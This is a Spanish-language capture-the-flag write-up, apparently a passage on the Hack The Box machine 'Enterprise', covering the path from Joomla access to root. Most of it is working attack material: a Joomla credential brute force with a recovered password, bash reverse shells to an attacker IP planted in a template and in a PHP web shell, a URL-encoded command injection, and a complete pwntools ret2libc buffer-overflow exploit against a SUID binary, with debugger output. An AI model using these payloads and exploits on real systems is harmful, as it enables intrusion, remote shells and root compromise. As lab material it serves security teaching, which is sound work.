Lo dejé un buen rato, pero no las encuentra. Puede ser que alguna de las credenciales que había en el post de wordpress sean las del joomla. Con este script podemos hacer fuerza bruta para encontrar las credenciales correctas del joomla
python3 joomla-brute.py -u http://10.10.10.61:8080 -usr geordi.la.forge -w passwords.txt
geordi.la.forge:ZD3YxfnSjezg67JZ
Ya tenemos credenciales válidas para el Joomla como Super user. Para mandarnos la reverse shell es bastante parecido a wordpress, simplemente hay que ir a Extensions > Templates > Templates > El tema que esté en uso > error.php y pegamos el mismo código de wordpress.
system('bash -c "bash -i >& /dev/tcp/10.10.14.4/443 0>&1"');
Nos ponemos en escucha con netcat
nc -nlvp 443
Explicación parámetros
- n: Sirve para que no haga la resolución de DNS
- l: Habilitar modo escucha de netcat
- v: Verbose, modo detallado de netcat
- p: Por último la p sirve para especificar el número de puerto en el cual vamos a estar en escucha
Y hacemos un curl a una página random que no exista de la web.
curl http://10.10.10.61:8080/testing
¡Recibimos la conexión!
listening on [any] 443 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.61] 42390
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@a7018bfdc454:/var/www/html$
Antes de seguir, vamos a hacer un tratamiento de la tty para poder ejecutar ctr + c
, ctrl + l
, nano…
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset xterm
Ahora si hacemos un echo $TERM
vemos que vale dumb, pero para poder hacer ctrl + l
necesitamos que valga xterm
export TERM=xterm
Por último si miramos la shell que tenemos echo $SHELL
vemos que tenemos /usr/sbin/nologin
asi que vamos a asignar una bash
export SHELL=bash
Si hacemos un ip a vemos que estamos en un contenedor distinto al de wordpress
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
8: eth0@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:11:00:04 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.4/16 scope global eth0
valid_lft forever preferred_lft forever
Escalada de privilegios
Saliendo del docker
En la consola que hemos obtenido con el Joomla si vamos a /var/www/html vemos que hay una carpeta llamada files, dentro de la carpeta hay un lcars.zip. Esto es lo mismo que veiamos desde la web que corria por el puerto 443, puede ser que tengan esta carpeta sincronizada. Dentro de la carpeta files tenemos capazidad de escritura, podemos poner un php malicioso e intentarlo ejecutar desde la web que corre por el puerto 443.
8bfdc454:/var/www/html/files$ echo '<?php system($_GET["cmd"]); ?>' > script.php
Ahora si entramos en la web, abrimos el script.php y por get por el parametro cmd le ponemos un comando vemos el resultado
https://10.10.10.61/files/script.php?cmd=ls
Para mandar la reversres shell vamos a usar lo mismo de siempre (bash -c “bash -i >& /dev/tcp/10.10.14.4/443 0>&1”) pero lo vamos a passar por un url encoder para que no de problemas
https://10.10.10.61/files/script.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.4%2F443%200%3E%261%22
Nos ponemos en escucha con netcat
nc -nlvp 443
Explicación parámetros
- n: Sirve para que no haga la resolución de DNS
- l: Habilitar modo escucha de netcat
- v: Verbose, modo detallado de netcat
- p: Por último la p sirve para especificar el número de puerto en el cual vamos a estar en escucha
Recibimos la conexión!
listening on [any] 443 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.61] 37558
bash: cannot set terminal process group (1531): Inappropriate ioctl for device
bash: no job control in this shell
www-data@enterprise:/var/www/html/files$
Antes de continuar con la escalada, vamos a hacer un tratamiento de la tty para poder ejecutar ctr + c
, ctrl + l
, nano…
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset xterm
Ahora si hacemos un echo $TERM
vemos que vale dumb pero para poder hacer ctrl + l
necesitamos que valga xterm
export TERM=xterm
Por ultimo si miramos la shell que tenemos echo $SHELL
vemos que tenemos /usr/sbin/nologin
asi que vamos a asignar una bash
export SHELL=bash
root
Buscando archivos con permisos SUID vemos que existe uno llamado lcars (Como el plugin), el cual su propietario es root y tiene permisos SUID así que si lo ejecutamos lo estamos ejecutando como root
www-data@enterprise:/$ find / -perm -4000 -exec ls -ldb {} \; 2>/dev/null
.....
-rwsr-xr-x 1 root root 38984 May 18 2017 /bin/mount
-rwsr-xr-x 1 root root 12152 Sep 8 2017 /bin/lcars
-rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
El binario lcars nos lo vamos a pasar a nuestra máquina para poder analizarlo con detalle, para pasárnoslo, vamos a montar un servidor con python por el puerto 8000 en la carpeta /bin desde la máquina víctima con python3 -m http.server 8000 y nos lo vamos a descargar a nuestra máquina con wget 10.10.10.61/lcars
Buffer Overflow
Para analizar el binario usaremos la herramienta ghydra.
Una vez estamos en ghydra gracias al “auto analyze” podemos ver el código del binario. Primero vamos a ver el contenido de la función main.
undefined4 main(void)
{
char local_19 [9];
undefined *local_10;
local_10 = &stack0x00000004;
setresuid(0,0,0);
startScreen();
puts("Enter Bridge Access Code: ");
fflush(_stdout);
fgets(local_19,9,_stdin);
bridgeAuth(local_19);
return 0;
}
En la función main vemos que se declara una variable de caracteres llamada local_19 con un máximo de 9 en el tamaño del buffer. Después se llama a la función startScreen(), la cual se encarga de mostrar el baner del programa.
void startScreen(void)
{
puts("");
puts(" _______ _______ ______ _______");
puts(" | | |_____| |_____/ |______");
puts(" |_____ |_____ | | | \\_ ______|");
puts("");
puts("Welcome to the Library Computer Access and Retrieval System\n");
return;
}
Volviendo a la función main, en la siguiente línea después de mencionar startScreen() nos muestra el siguiente texto.
puts(“Enter Bridge Access Code: “);
El valor que le ponemos lo manda a la función bridgeAuth()
bridgeAuth(local_19);
La función bridgeAuth tiene el siguiente código
void bridgeAuth(char *param_1)
{
char local_32;
undefined uStack_31;
undefined uStack_30;
undefined uStack_2f;
undefined uStack_2e;
undefined uStack_2d;
undefined uStack_2c;
undefined uStack_2b;
undefined uStack_2a;
int local_14;
undefined4 local_10;
local_32 = 'p';
uStack_31 = 0x69;
uStack_30 = 99;
uStack_2f = 0x61;
uStack_2e = 0x72;
uStack_2d = 100;
uStack_2c = 0x61;
uStack_2b = 0x31;
local_10 = 9;
uStack_2a = 0;
local_14 = strcmp(param_1,&local_32);
if (local_14 == 0) {
main_menu();
}
else {
puts("\nInvalid Code\nTerminating Console\n");
}
fflush(_stdout);
/* WARNING: Subroutine does not return */
exit(0);
}
En las variables uStack se les da un valor que empieza por 0x lo que indica que el número que va después del 0x está en hexadecimal. Sabiendo esto, podemos convertir el valor que se les está dando a texto plano.
local_32 = 'p';
uStack_31 = 'i';
uStack_30 = 'c';
uStack_2f = 'a';
uStack_2e = 'r';
uStack_2d = 'd';
uStack_2c = 'a';
uStack_2b = '1';
A continuación se comprueba si nuestro input es igual a picarda1 con el siguiente código.
local_14 = strcmp(param_1, &local_32);
Si la comprobación anterior da 0 significará que las cadenas son iguales, en caso contrario las cadenas no serían iguales.
if (local_14 == 0) {
main_menu();
}
else {
puts("\nInvalid Code\nTerminating Console\n");
}
Al poner el código de acceso correcto nos redirige a la funcion main_menu()
void main_menu(void)
{
undefined4 local_d8 [52];
local_d8[0] = 0;
startScreen();
puts("\n");
puts("LCARS Bridge Secondary Controls -- Main Menu: \n");
puts("1. Navigation");
puts("2. Ships Log");
puts("3. Science");
puts("4. Security");
puts("5. StellaCartography");
puts("6. Engineering");
puts("7. Exit");
puts("Waiting for input: ");
fflush(_stdout);
__isoc99_scanf(&DAT_00010f92,local_d8);
/* WARNING: Could not find normalized switch variable to match jumptable */
/* WARNING: This code block may not be properly labeled as switch case */
unable();
return;
}
La función main_menu() es la que se encarga de mostrarnos el menú de opciones después de entrar con el codigó correcto (picarda1)
No podemos ver a que funciones nos redirige al seleccionar una opción, pero investigando otras funciones que reporta ghydra, vemos que existe una función llamada disableForcefields
void disableForcefields(void)
{
undefined local_d4 [204];
startScreen();
puts("Disable Security Force Fields");
puts("Enter Security Override:");
fflush(_stdout);
__isoc99_scanf(&DAT_00010ec4,local_d4);
printf("Rerouting Tertiary EPS Junctions: %s",local_d4);
return;
}
Los mensajes de Disable Security Force Fields y Enter Security Override: son los que se muestran en la opción 4, así que podemos intuir que es el código de la opción 4
LCARS Bridge Secondary Controls – Main Menu:
- Navigation
- Ships Log
- Science
- Security
- StellaCartography
- Engineering
- Exit Waiting for input:
4
Disable Security Force Fields Enter Security Override:
Vamos a analizar esta función. Primero de todo se crea una variable donde se va a almacenar nuestro input, esta variable va a tener un tamaño máximo de buffer asignado de 204.
undefined local_d4 [204]
Después nos devuelve el mensaje Rerouting Tertiary EPS Junctions acompañado de nuestro input
printf("Rerouting Tertiary EPS Junctions: %s",local_d4);
Si probamos de ejecutar el binario poniendo muchos caracteres:
Enter Security Override:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
zsh: segmentation fault ./lcars
Vemos el error segmentation fault así que podemos probar de llevar a cabo un buffer overflow
Vamos a usar gdb-peda para verlo mejor gdb ./lcars -q una vez dentro le ponemos una r para ejecutarlo y volvemos a llenar el input de la opción 4 para ver si reescribimos los registros.
[----------------------------------registers-----------------------------------]
EAX: 0x2de
EBX: 0x41414141 ('AAAA')
ECX: 0xffffcd7c --> 0x38cf2a00
EDX: 0x1
ESI: 0x56555d30 (<__libc_csu_init>: push ebp)
EDI: 0xf7ffcba0 --> 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcf80 ('A' <repeats 200 times>...)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
Vemos que efectivamente el EIP vale 0x41414141 que como vimos anteriormente lo que va después del 0x está en hexadecimal, y 41 en hexadecimal es una A, así que hemos conseguido reescribirlo.
Ahora el objetivo sería saber cuantos caracteres tenemos que poner para sobreescribir el EIP y así tener control sobre el valor del EIP. gdb-peda tiene una utilidad para detectar el número de caracteres necesarios. Primero creamos una cadena de caracteres con pattern_create la cual aunque parezca aleatoria, tiene un sentido, ya que no tiene repeticiones, lo que nos permitirá luego encontrar el tamaño de caracteres para llegar al EIP
> gdb ./lcars -q
Reading symbols from ./lcars...
(No debugging symbols found in ./lcars)
gdb-peda$ pattern_create 500
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A'
gdb-peda$ r
Enter Security Override:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A
[----------------------------------registers-----------------------------------]
EAX: 0x216
EBX: 0x73254125 ('%A%s')
ECX: 0xffffcd7c --> 0xaab80000
EDX: 0x1
ESI: 0x56555d30 (<__libc_csu_init>: push ebp)
EDI: 0xf7ffcba0 --> 0x0
EBP: 0x41422541 ('A%BA')
ESP: 0xffffcf80 ("nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$A"...)
EIP: 0x25412425 ('%$A%')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
Ahora nos reporta que el EIP vale ($%$A%) podríamos contar manualmente o poner el siguiente comando el cual lo cuenta automaticamente
gdb-peda$ pattern offset $eip
625026085 found at offset: 212
Nos reporta que necesitamos poner 212 caracteres para empezar a sobreescribir el EIP. Podemos comprobar que efectivamente se necesitan 212 caracteres de la siguiente forma:
Primero generamos una cadena de texto de 212 ‘A’ y le añadimos 4 ‘B’. Si gdb-peda no se ha equivocado el eip debería valer ‘BBBB’
Enter Security Override:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xfa
EBX: 0x41414141 ('AAAA')
ECX: 0xffffcd7c --> 0xa714c800
EDX: 0x1
ESI: 0x56555d30 (<__libc_csu_init>: push ebp)
EDI: 0xf7ffcba0 --> 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcf80 --> 0x0
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
Efectivamente, ha funcionado, el EIP vale ‘BBBB’. Esto significa que ya tenemos la capacidad de poder manipular el EIP.
El siguiente paso sería ver las protecciones
Proteciones
ASLR: Aleatorización de las direcciones de la memoria. Esta protección no es del programa en sí, es una protección del sistema. En los sistemas actuales suele ser raro encontrarlo deshabilitado. Para ver si está habilitado le hacemos un cat al /proc/sys/kernel/randomize_va_space. Si el contenido es un 0, es que está deshabilitado, si no devuelve un 0 es que esta habilitado
ww-data@enterprise:/var/www/html/files$ cat /proc/sys/kernel/randomize_va_space
0
Otra forma de comprobar si el ASLR está habilitado, sería haciendo un bucle buscando la dirección de la librería libc y ver si la dirección cambia
www-data@enterprise:/bin$ for i in `seq 0 20`; do ldd lcars | grep libc; done
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e32000)
Como podemos ver, no cambia
Vamos a comprobar más protecciones con checksec.
checksec lcars
[*] '/home/d3b0o/Desktop/enterprise/lcars'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
NX está deshabilitado así que podríamos crear un shellcode y ponerlo en la pila para después llamarlo desde el EIP, pero un ret2libc es más sencillo.
Esquema sacado de (https://bufferoverflows.net/ret2libc-exploitation-example/)
Para llevar a cabo el ret2libc necesitamos la dirección de system, /bin/sh y de forma opcional exit. Estas direcciones las podemos encontrar de distintas formas.
Como la máquina tiene gdb, podemos buscar las direcciones con gdb.
www-data@enterprise:/bin$ gdb ./lcars -q
(gdb) b *main
Breakpoint 1 at 0xc91
(gdb) r
Starting program: /bin/lcars
Breakpoint 1, 0x56555c91 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e4c060 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xf7e3faf0 <exit>
(gdb) find &system,+9999999,"/bin/sh"
0xf7f70a0f
En el caso de que no tengamos gdb, podemos usar los siguientes comandos, pero para esta máquina no nos sirven porque no tiene el comando strings.
#/bin/sh
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
#system
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
#exit
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
Exploit –> p32812
Ahora ya podemos hacer el exploit. Primero de todo creamos las variables con las direcciones que hemos sacado, creamos una variable con la cantidad de caracteres que vamos a necesitar para llegar al EIP, Después lo juntamos todo, en el orden mencionado anteriormente y lo mandamos por el puerto el cual reporto nmap que estaba abierto y tenía este binario corriendo. Por último, nos spwaneamos una shell interactiva.
from pwn import *
offset = 212
junk = b"A" * offset
system = p32(0xf7e4c060)
exit = p32(0xf7e3faf0)
sh = p32(0xf7f6ddd5)
payload = junk + system + exit + sh
host, port = "10.10.10.61", 32812
r = remote(host, port)
r.recvuntil(b"Enter Bridge Access Code:")
r.sendline(b"picarda1")
r.recvuntil(b"Waiting for input:")
r.sendline(b"4")
r.recvuntil(b"Enter Security Override")
r.sendline(payload)
r.interactive()
¡Al ejecutarlo, ya somos root!
> python3 main.py
[+] Opening connection to 10.10.10.61 on port 32812: Done
[*] Switching to interactive mode
:
$ whoami
root
$